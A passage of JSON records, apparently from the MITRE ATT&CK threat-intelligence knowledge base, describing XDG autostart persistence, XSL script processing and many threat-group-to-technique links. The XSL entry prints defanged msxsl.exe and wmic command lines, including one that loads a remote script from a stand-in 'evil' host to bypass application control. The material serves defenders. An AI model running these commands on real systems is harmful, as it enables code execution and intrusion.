                    "source_name": "Free Desktop Entry Keys"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "XDG Autostart Entries",
            "description": "Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the <code>/etc/xdg/autostart</code> or <code>~/.config/autostart</code> directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the <code>Type</code> key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The <code>Name</code> key indicates an arbitrary name assigned by the creator and the <code>Exec</code> key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.",
            "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-11-10T15:55:10.103Z",
            "created": "2019-09-10T18:13:12.195Z",
            "x_mitre_is_subtechnique": true,
            "x_mitre_contributors": [
                "Tony Lambert, Red Canary"
            ],
            "x_mitre_detection": "Malicious XDG autostart entries may be detected by auditing file creation and modification events within the <code>/etc/xdg/autostart</code> and <code>~/.config/autostart</code> directories. Depending on individual configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code> or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_permissions_required": [
                "User",
                "root"
            ],
            "x_mitre_platforms": [
                "Linux"
            ]
        },
        {
            "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "XSL Script Processing",
            "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d</code>",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1220",
                    "url": "https://attack.mitre.org/techniques/T1220"
                },
                {
                    "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script",
                    "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018.",
                    "source_name": "Microsoft XSLT Script Mar 2017"
                },
                {
                    "url": "https://www.microsoft.com/download/details.aspx?id=21714",
                    "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.",
                    "source_name": "Microsoft msxsl.exe"
                },
                {
                    "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/",
                    "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.",
                    "source_name": "Penetration Testing Lab MSXSL July 2017"
                },
                {
                    "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/",
                    "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.",
                    "source_name": "Reaqta MSXSL Spearphishing MAR 2018"
                },
                {
                    "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.",
                    "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75",
                    "source_name": "XSL Bypass Mar 2019"
                },
                {
                    "source_name": "LOLBAS Wmic",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/",
                    "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019."
                },
                {
                    "url": "https://twitter.com/dez_/status/986614411711442944",
                    "description": "Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.",
                    "source_name": "Twitter SquiblyTwo Detection APR 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2021-02-09T15:07:00.842Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_system_requirements": [
                "Microsoft Core XML Services (MSXML) or access to wmic.exe"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control",
                "Digital Certificate Validation"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Module: Module Load"
            ],
            "x_mitre_contributors": [
                "Avneet Singh",
                "Casey Smith",
                "Praetorian"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "id": "relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
            "type": "relationship",
            "modified": "2020-02-05T20:08:34.059Z",
            "created": "2017-05-31T21:33:27.026Z"
        },
        {
            "id": "relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                }
            ],
            "description": "(Citation: Symantec Buckeye)",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.637Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--857b5ce3-0eb0-4dae-a034-42cfa306a447",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used Flash Player (CVE-2016-4117, CVE-2018-4878) and Word (CVE-2017-0199) exploits for execution.(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/operation-daybreak/75100/",
                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
                    "source_name": "Securelist ScarCruft Jun 2016"
                },
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                },
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.476Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--91926031-c1b4-462b-8597-20b10e7211ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) created a custom video recording capability that could be used to monitor operations in the victim's environment.(Citation: FireEye FIN7 Aug 2018)(Citation: DOJ FIN7 Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                },
                {
                    "url": "https://www.justice.gov/opa/press-release/file/1084361/download",
                    "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.",
                    "source_name": "DOJ FIN7 Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.234Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 3"
                }
            ],
            "description": "(Citation: ESET Sednit Part 3)",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.665Z",
            "created": "2017-05-31T21:33:27.041Z"
        },
        {
            "id": "relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run <code>tasklist</code> on a victim's machine.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-09-04T22:55:40.600Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--0f76d408-be8a-478e-8a5a-aab1d1f96572",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) establishes a backdoor over HTTP.(Citation: PaloAlto Patchwork Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:19:57.934Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--343d285a-e910-487b-8e85-dc87cdb63be3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT29](https://attack.mitre.org/groups/G0016) added Registry Run keys to establish persistence.(Citation: Mandiant No Easy Breach)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                }
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.037Z",
            "created": "2017-05-31T21:33:27.049Z"
        },
        {
            "id": "relationship--04203d88-5fe1-4e63-be65-51a17705716b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)(Citation: Symantec Cicada November 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "source_name": "Github AD-Pentest-Script",
                    "description": "Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.",
                    "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2020-12-17T18:57:21.331Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) gathered information and files from local directories for exfiltration.(Citation: Villeneuve et al 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                }
            ],
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                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
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                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
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                    "source_name": "Trend Micro Tick November 2019",
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                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) added \"junk data\" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a \"junk length\" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.(Citation: FireEye APT28)",
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                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate administrators and users in the domain.(Citation: US-CERT TA18-074A)",
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            ],
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            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of starting a process using CreateProcess.(Citation: Bitdefender APT28 Dec 2015)",
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                {
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                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
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            "type": "relationship",
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has used various forms of spearphishing in attempts to get users to open attachments.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
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                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
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            "type": "relationship",
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                {
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                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
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                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.",
                    "source_name": "Novetta Blockbuster Tools"
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            "type": "relationship",
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) has used a keylogging tool that records keystrokes in encrypted files.(Citation: Symantec Buckeye)",
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            "relationship_type": "uses",
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        },
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            "description": "[Felismus](https://attack.mitre.org/software/S0171) can download files from remote servers.(Citation: Forcepoint Felismus Mar 2017)",
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            ],
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                {
                    "source_name": "Forcepoint Felismus Mar 2017",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
                }
            ],
            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
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            "type": "relationship",
            "modified": "2020-03-17T01:16:15.749Z",
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            "description": "[APT33](https://attack.mitre.org/groups/G0064) has sent spearphishing emails containing links to .hta files.(Citation: FireEye APT33 Sept 2017)(Citation: Symantec Elfin Mar 2019)",
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                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Sept 2017"
                },
                {
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "source_name": "Symantec Elfin Mar 2019"
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            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
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                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
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            "relationship_type": "mitigates",
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            "type": "relationship",
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) attempted to get users to launch malicious attachments delivered via spearphishing emails.(Citation: FireEye APT19)",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
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            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used Remote Desktop Protocol to conduct lateral movement.(Citation: Group IB Cobalt Aug 2017)",
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            ],
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                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.260Z",
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        },
        {
            "id": "relationship--09c957e3-f89b-4b41-93af-bde08f00ce36",
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            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "external_references": [
                {
                    "source_name": "McAfee GhostSecret",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
                }
            ],
            "description": "(Citation: McAfee GhostSecret)",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.694Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) attempts to obtain legitimate credentials during operations.(Citation: Bizeul 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Bizeul 2014",
                    "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.",
                    "url": "https://airbus-cyber-security.com/the-eye-of-the-tiger/"
                }
            ],
            "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2020-03-16T18:54:08.794Z",
            "created": "2017-05-31T21:33:27.046Z"
        },
        {
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            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers data from the local victim system.(Citation: Citizen Lab Stealth Falcon May 2016)",
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            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-03-17T02:38:48.465Z",
            "created": "2017-05-31T21:33:27.074Z"
        },
        {
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            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-02-05T16:23:01.832Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "source_ref": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824",
            "relationship_type": "mitigates",
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            "type": "relationship",
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            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used environment variables and standard input (stdin) to obfuscate command-line arguments. [FIN8](https://attack.mitre.org/groups/G0061) also obfuscates malicious macros delivered as payloads.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "source_name": "FireEye Obfuscation June 2017"
                },
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
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            ],
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                {
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                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 3"
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            ],
            "description": "(Citation: ESET Sednit Part 3)",
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used command line for execution.(Citation: US-CERT TA18-074A)",
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                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
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            ],
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                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "source_name": "FireEye APT30"
                }
            ],
            "description": "(Citation: FireEye APT30)",
            "type": "relationship",
            "modified": "2019-03-22T18:44:28.612Z",
